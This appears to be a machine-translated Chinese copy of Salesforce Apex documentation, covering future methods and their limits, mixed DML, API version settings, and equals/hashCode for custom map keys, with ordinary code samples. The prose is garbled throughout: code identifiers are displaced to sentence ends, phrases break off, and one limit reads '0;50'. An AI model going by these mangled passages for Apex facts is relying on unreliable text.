global class FutureMethodRecordProcessing
{
    @future
    public static void processRecords(List<ID> recordIds)
    {   
         // Get those records based on the IDs
         List<Account> accts = [SELECT Name FROM Account WHERE Id IN :recordIds];
         // Process records
    }
}

下面是一个 future 方法的骨架示例,该方法对 外部服务。请注意,注释需要一个额外的参数 () 来指示标注是 允许。要了解有关标注的更多信息,请参阅使用 Apex 调用标注。callout=true

global class FutureMethodExample
{
    @future(callout=true)
    public static void getStockQuotes(String acctName)
    {   
         // Perform a callout to an external service
    }

}

插入具有非 null 角色的用户必须在与 DML 不同的线程中完成 对其他 sObject 的操作。在此示例中,类中定义的 future 方法执行 首席运营官角色。这种未来的方法需要在 组织。中的方法插入一个帐户并调用 未来的方法,.insertUserWithRoleUtiluseFutureMethodMixedDMLFutureinsertUserWithRole

此类包含 插入具有非 null 角色的用户。Util

public class Util {
    @future
    public static void insertUserWithRole(
        String uname, String al, String em, String lname) {

        Profile p = [SELECT Id FROM Profile WHERE Name='Standard User'];
        UserRole r = [SELECT Id FROM UserRole WHERE Name='COO'];
        // Create new user with a non-null user role ID 
        User u = new User(alias = al, email=em, 
            emailencodingkey='UTF-8', lastname=lname, 
            languagelocalekey='en_US', 
            localesidkey='en_US', profileid = p.Id, userroleid = r.Id,
            timezonesidkey='America/Los_Angeles', 
            username=uname);
        insert u;
    }
}

此类包含调用已定义的未来方法的 main 方法 以前。

public class MixedDMLFuture {
    public static void useFutureMethod() {
        // First DML operation
        Account a = new Account(Name='Acme');
        insert a;
        
        // This next operation (insert a user with a role) 
        // can't be mixed with the previous insert unless 
        // it is within a future method. 
        // Call future method to insert a user with a role.
        Util.insertUserWithRole(
            'mruiz@awcomputing.com', 'mruiz', 
            'mruiz@awcomputing.com', 'Ruiz');        
    }
}

可以像调用任何其他方法一样调用将来的方法。然而,未来 方法不能调用另一个 future 方法。

带有注解的方法具有 以下限制:future

  • 在批处理和未来上下文中不超过 0;50 个可排队的上下文方法调用 每个 Apex 调用。异步调用,例如 或 , 在 、 块中调用,不计入您的限制 表示排队作业的数量。@futureexecuteBatchstartTeststopTest注意将多个未来方法扇出 不建议将可排队作业作为做法,因为它可以快速添加大量 异步队列的 future 方法。请求处理可能会延迟,并且 您可以快速达到异步 Apex 方法的每日最大限制 执行。查看未来方法 性能最佳实践和 Lightning 平台 Apex限制。
  • 方法的最大数量 每 24 小时的调用次数为 250,000 次,或者是 组织乘以 200,以较大者为准。此限制适用于您的整个 组织并与所有异步 Apex 共享:Batch Apex、Queueable Apex、scheduled Apex和未来的方法。检查有多少个异步 Apex 执行 ,则向 REST API 资源发出请求。查看清单 REST API 开发人员指南中的组织限制。计入的许可证类型 此限制包括完整的 Salesforce 和 Salesforce Platform 用户许可证、应用程序 订阅用户许可证、仅限 Chatter 用户、身份用户和公司 社区用户。futurelimits

注意

  • 如果事务滚动,则不会处理事务排队的未来作业 返回。
  • 在 Salesforce 服务维护停机之前排队的未来方法作业 留在队列中。服务停机结束后以及系统资源 变得可用,则将执行排队的未来方法作业。如果将来的方法 在发生停机时正在运行,将来的方法执行将回滚 并在服务恢复后重新启动。

测试未来的方法

若要测试使用注释定义的方法,请在 startTest() 和 stopTest() 代码块中调用包含该方法的类。全部异步 在该方法之后进行的调用是 由系统收集。什么时候是 执行时,所有异步进程都同步运行。futurestartTeststopTest对于我们的示例,下面是测试类。

@isTest
private class MixedDMLFutureTest {
    @isTest static void test1() {
        User thisUser = [SELECT Id FROM User WHERE Id = :UserInfo.getUserId()];
       // System.runAs() allows mixed DML operations in test context
        System.runAs(thisUser) {
            // startTest/stopTest block to run future method synchronously
            Test.startTest();        
            MixedDMLFuture.useFutureMethod();
            Test.stopTest();
        }
        // The future method will run after Test.stopTest();
    
        // Verify account is inserted
        Account[] accts = [SELECT Id from Account WHERE Name='Acme'];
        System.assertEquals(1, accts.size());
        // Verify user is inserted
        User[] users = [SELECT Id from User where username='mruiz@awcomputing.com'];
        System.assertEquals(1, users.size());
    }
}

未来方法性能最佳实践

Salesforce 使用基于队列的框架来处理 来自未来方法和批处理 Apex 等来源的异步过程。这 队列用于在组织之间平衡请求工作负载。使用 遵循最佳实践,以确保您的组织有效地使用队列 用于异步进程。

  • 避免将大量将来的方法添加到异步队列中,如果 可能。如果超过 2,000 来自单个组织的未处理请求在队列中,任何 来自同一组织的其他请求将被延迟,而 队列处理来自其他组织的请求。
  • 确保将来的方法尽可能快地执行。确保快速执行 批处理作业,最大程度地减少 Web 服务标注时间,并优化 未来的方法。未来方法执行的时间越长,其他方法的可能性就越大 当 队列。
  • 大规模测试您未来的方法。为了帮助确定是否可能发生延迟,请测试 使用生成最大数量的未来方法的环境 期待处理。
  • 考虑使用批处理 Apex 而不是将来的方法来处理大量 记录。

ref

Apex 代码版本

为了帮助向后兼容,类和触发器与版本一起存储 特定 Salesforce API 版本的设置。

如果 Apex 类或触发器引用组件,例如 自定义对象,在已安装的托管包中,每个托管包的版本设置 类引用的包也会被保存。这确保了作为 Apex, API,并且托管包中的组件在后续发布的版本中不断发展,一个 类或触发器仍绑定到具有特定已知行为的版本。

为已安装的包设置版本可确定公开的 接口和任何 Apex 代码的行为 已安装的软件包。这允许您继续引用 Apex 在已安装软件包的最新版本中已弃用,如果您安装了 代码被弃用之前的包。

通常,您引用最新的 Salesforce API 版本和每个已安装的软件包 版本。如果您在未指定 Salesforce API 的情况下保存 Apex 类或触发器 version,则类或触发器与最新安装的版本相关联 违约。如果保存引用 托管包,而不指定托管包的版本、类或 触发器与最新安装的托管软件包版本相关联,具体方法如下 违约。

Apex 类和方法的版本控制

将类和方法添加到 Apex 语言时, 这些类和方法可用于保存 Apex 代码的所有 API 版本 ,无论引入的 API 版本(Salesforce 版本)如何。 例如,如果在 API 版本 33.0 中添加了方法,则可以在 使用 API 版本 33.0 保存的自定义类或使用 API 版本保存的其他类 25.0.

此规则有一个例外。ConnectApi 命名空间的类和方法仅在文档中指定的 API 版本中受支持。为 例如,如果在 API 版本 33.0 中引入了某个类或方法,则该类或方法不可用 在早期版本中。有关更多信息,请参见 ConnectApi 版本控制和相等性检查。

设置类和 Salesforce API 版本 触发器

要为类或触发器设置 Salesforce API 和 Apex 版本,请执行以下操作:

  1. 编辑类或触发器,然后单击“版本” 设置
  2. 选择 Salesforce API 的版本。这个版本也是 与类或触发器关联的 Apex 版本。
  3. 点击保存

如果在方法调用中将对象作为参数从一个 Apex 类 C1 传递到另一个 Apex 类 class、C2 和 C2 由于 Salesforce API 版本而公开了不同的字段 设置,对象中的字段由 C2 的版本设置控制。

在此示例中,Categories 字段设置为从 测试类 C1,因为“类别”字段在 API 的 13.0 版。nullinsertIdea

第一个类使用 Salesforce API 版本 13.0 保存:

// This class is saved using Salesforce API version 13.0
// Version 13.0 does not include the Idea.categories field
global class C2
{
    global Idea insertIdea(Idea a) {
        insert a; // category field set to null on insert
        
        // retrieve the new idea
        Idea insertedIdea = [SELECT title FROM Idea WHERE Id =:a.Id];
        
        return insertedIdea;
    }
}

使用 Salesforce API 版本 16.0 保存以下类:

@IsTest
// This class is bound to API version 16.0 by Version Settings
private class C1
{  
    static testMethod void testC2Method() {
        Idea i = new Idea();
        i.CommunityId = '09aD000000004YCIAY';
        i.Title = 'Testing Version Settings';
        i.Body = 'Categories field is included in API version 16.0';
        i.Categories = 'test';

        C2 c2 = new C2();
        Idea returnedIdea = c2.insertIdea(i);
        // retrieve the new idea
        Idea ideaMoreFields = [SELECT title, categories FROM Idea
             WHERE Id = :returnedIdea.Id];

        // assert that the categories field from the object created
        // in this class is not null
        System.assert(i.Categories != null);
        // assert that the categories field created in C2 is null
        System.assert(ideaMoreFields.Categories == null);
    }
}

设置 Apex 类和触发器的包版本

若要配置类或触发器的包版本设置,请执行以下操作:

  1. 编辑类或触发器,然后单击“版本设置”。
  2. 为类引用的每个托管包选择一个版本,或者 触发。如果出现以下情况,类或触发器将继续使用此版本的托管包 除非您手动更新版本,否则将安装更高版本的托管包 设置。若要将已安装的托管包添加到设置列表,请选择 package。仅当您具有 已安装的托管包尚未与类或触发器关联。
  3. 点击保存

使用包版本设置时,请注意以下事项:

  • 如果保存引用托管包的 Apex 类或触发器,但未指定 托管包的版本,Apex 类或触发器与最新的 默认情况下,托管包的已安装版本。
  • 不能删除托管类或触发器的版本设置 package(如果在类或触发器中引用了该包)。使用显示 用于查找类引用托管包的位置的依赖项,或者 触发。

自定义类型和排序列表

列表可以包含用户定义类型(Apex 类)的对象。可以对用户定义类型的列表进行排序。

若要对此类列表进行排序,Apex 类可以实现接口并将其作为参数传递给方法。或者,您的 Apex 类可以 实现接口。ComparatorList.sortComparable

排序条件和排序顺序取决于为 或 方法提供的实现。Comparable.compareToComparator.compare

若要执行区分区域设置的比较和排序,请使用该类。因为区分区域设置的排序可以产生不同的 结果取决于运行代码的用户,请避免在触发器或代码中使用它 这需要特定的排序顺序。Collator

在映射键和集中使用自定义类型

您可以将自己的 Apex 类的实例添加到映射和集合中。

对于映射,可以将 Apex 类的实例添加为键或值。如果 你把它们添加为键,你的类必须实现一些特殊的规则 使地图正常运行;也就是说,让键获取正确的值。 同样,如果 set 元素是自定义类的实例,则类必须 遵循相同的规则。

警告

如果映射键或设置元素中的对象在发生以下变化时发生更改 添加到集合中,由于字段已更改,将不再找到它 值。

将自定义类型(Apex 类)用于映射键或 set 元素时,请在类中提供 和 方法。Apex 使用这些 确定对象键的相等性和唯一性的两种方法。equalshashCode

将 equals 和 hashCode 方法添加到类中

要确保正确比较自定义类型的映射键,并且其 唯一性可以一致地确定,提供 类中的以下两种方法:

  • 这个方法 签名:equalspublic Boolean equals(Object obj) { // Your implementation }保持 在实现该方法时,请记住以下几点。假设 x、y 和 z 是类的非 null 实例,则该方法必须为:equalsequals
  • 反身:x.equals(x)对称:如果出现以下情况,应返回 并且仅当返回x.equals(y)truey.equals(x)true传递:如果 return 和 returns ,则应返回x.equals(y)truey.equals(z)truex.equals(z)true一致:多次调用一致 return 或 始终如一的回报x.equals(y)truefalse对于任何非 null 引用值 x,应返回x.equals(null)false
  • 中的方法 Apex 基于 爪哇。equals
  • 这个方法 签名:hashCodepublic Integer hashCode() { // Your implementation }保持 在实现该方法时,请记住以下几点。hashCode
  • 如果方法 在执行期间对同一对象多次调用 Apex 请求,它必须返回相同的值。hashCode如果两个对象相等,则根据该方法,必须返回 相同的值。equalshashCode如果两个对象不相等,则根据该方法的结果,它不是 需要返回非重复值。equalshashCode
  • 方法 在 Apex 中基于 爪哇。hashCode

在类中提供该方法的另一个好处是,它简化了对象的比较。您将能够 要使用运算符比较对象, 或方法。为 例:

equals==equals

// obj1 and obj2 are instances of MyClass
if (obj1 == obj2) {
    // Do something
}

if (obj1.equals(obj2)) {
    // Do something
}

样本

此示例演示如何实现 and 方法。该类 前提是这些方法首先列出。它还包含一个构造函数,该构造函数采用 两个整数。第二个示例是一个代码片段,它创建了 类,其中两个具有相同的值。接下来,使用对添加地图条目 对象作为键。该示例验证映射是否只有两个条目,因为 最后添加的条目与第一个条目具有相同的键,因此被覆盖 它。然后,该示例使用运算符 它按预期工作,因为该类实现了 .此外,还会执行一些额外的映射操作,例如 检查映射是否包含某些键,并将所有键和值写入 调试日志。最后,该示例创建一个集合,并向其添加相同的对象。它 验证设置的大小是否为 2,因为三个对象中只有 2 个是 独特。equalshashCode==equals

public class PairNumbers {
    Integer x,y;

    public PairNumbers(Integer a, Integer b) {
        x=a;
        y=b;
    }

    public Boolean equals(Object obj) {
        if (obj instanceof PairNumbers) {
            PairNumbers p = (PairNumbers)obj;
            return ((x==p.x) && (y==p.y));
        }
        return false;
    }

    public Integer hashCode() {
        return (31 * x) ^ y;
    }
}

此代码片段使用该类。PairNumbers

Map<PairNumbers, String> m = new Map<PairNumbers, String>();
PairNumbers p1 = new PairNumbers(1,2);
PairNumbers p2 = new PairNumbers(3,4);
// Duplicate key
PairNumbers p3 = new PairNumbers(1,2);
m.put(p1, 'first');
m.put(p2, 'second');
m.put(p3, 'third');

// Map size is 2 because the entry with 
// the duplicate key overwrote the first entry.
System.assertEquals(2, m.size());

// Use the == operator
if (p1 == p3) {
    System.debug('p1 and p3 are equal.');
}

// Perform some other operations
System.assertEquals(true, m.containsKey(p1));
System.assertEquals(true, m.containsKey(p2));
System.assertEquals(false, m.containsKey(new PairNumbers(5,6)));

for(PairNumbers pn : m.keySet()) {
    System.debug('Key: ' + pn);
}

List<String> mValues = m.values();
System.debug('m.values: ' + mValues);

// Create a set
Set<PairNumbers> s1 = new Set<PairNumbers>();
s1.add(p1);
s1.add(p2);
s1.add(p3);

// Verify that we have only two elements
// since the p3 is equal to p1.
System.assertEquals(2, s1.size());